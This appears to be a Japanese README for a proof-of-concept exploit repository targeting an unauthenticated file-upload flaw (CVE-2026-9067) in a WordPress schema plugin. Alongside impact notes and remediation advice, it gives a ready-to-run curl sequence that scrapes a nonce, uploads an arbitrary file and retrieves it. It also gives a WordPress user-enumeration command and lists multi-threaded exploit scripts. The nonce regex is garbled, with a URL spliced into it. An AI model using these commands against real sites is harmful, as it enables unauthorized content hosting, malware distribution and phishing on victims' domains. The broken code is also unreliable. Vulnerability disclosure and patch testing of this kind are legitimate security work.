POC & Xploit - 概念実証ディレクトリ
WordPress セキュリティテスト環境で発見された脆弱性のドキュメントとエクスプロイト。
脆弱性一覧
| CVE ID | Plugin | 深刻度 | タイプ | ステータス |
|---|
| CVE-2026-9067 | Schema & Structured Data for WP & AMP | 高 (8.1) | 無制限ファイルアップロード | 文書化済み |
CVE-2026-9067
クイックサマリー
脆弱性の説明
Schema & Structured Data for WP & AMP プラグインはバージョン 1.60 より前では、ファイルアップロード用の AJAX ハンドラーでユーザーの権限を検証しておらず、アップロードされるファイルのタイプも検証していません。これにより、認証されていない攻撃者が任意のファイルをアップロードできる可能性があります。
影響
- コンテンツホスティング: 攻撃者は被害者のドメインに悪意のあるコンテンツをホストできる。
- ディスク消費: 任意のファイルアップロードによりディスク容量を消費できる。
- 評判の悪用: 被害者のドメインからのマルウェア配布、フィッシングページ。
重要な注意: WordPress コアは実行可能ファイル (.php, .phtml, .html, .svg) をブロックするため、この脆弱性から直接 RCE パスはありません。
ファイル
CVE-2026-9067/
├── CVE-2026-9067.md # Dokumentasi lengkap (file ini)
├── CVE-2026-9067.py # Python exploit dengan multi-threading
├── CVE-2026-9067.sh # Bash/Shell PoC script
└── CVE-2026-9067_exploit.sh # Alternative Bash PoC
クイック PoC
# Step 1: Get nonce
NONCE=$(curl -s "https://yorbit7.ddev.site/" | grep -oP 'saswp_rf_(page_)?security_nonce["\x27]?\s*:\s*["\'](https://github.com/polosss/by-poloss..-..cve-2026-9067/blob/main/%5Ba-f0-9%5D%7B10%7D)["\']' | grep -oP '[a-f0-9]{10}' | head -1)
# Step 2: Upload arbitrary file
curl -X POST 'https://yorbit7.ddev.site/wp-admin/admin-ajax.php' \
-F 'action=saswp_rf_form_image_upload' \
-F "saswp_rf_form_nonce=$NONCE" \
-F '[email protected];type=image/png;filename=evil.csv'
# Step 3: Access uploaded file
curl -s "https://yorbit7.ddev.site/wp-content/uploads/$(date +%Y)/$(date +%m)/evil.csv"
環境情報
テストコマンド
サイトステータスの確認
curl -s -o /dev/null -w "%{http_code}" https://yorbit7.ddev.site
プラグインバージョンの確認
curl -s https://yorbit7.ddev.site/wp-content/plugins/schema-and-structured-data-for-wp/readme.txt | grep -i "Stable tag:"
ユーザーの列挙
curl -s https://yorbit7.ddev.site/wp-json/wp/v2/users | jq '.[] | {id, name, slug}'
修復策
- プラグインをアップグレード: Schema & Structured Data for WP & AMP をバージョン 1.60 以降に更新する。
- プラグインを無効化: アップグレードできない場合は、プラグインを無効化する。
- 堅牢化:
DISALLOW_FILE_MODIFICATIONS 定数を設定する。
.htaccess を介してアップロードディレクトリでの PHP 実行を無効化する。
- WAF ルールを実装する。
参照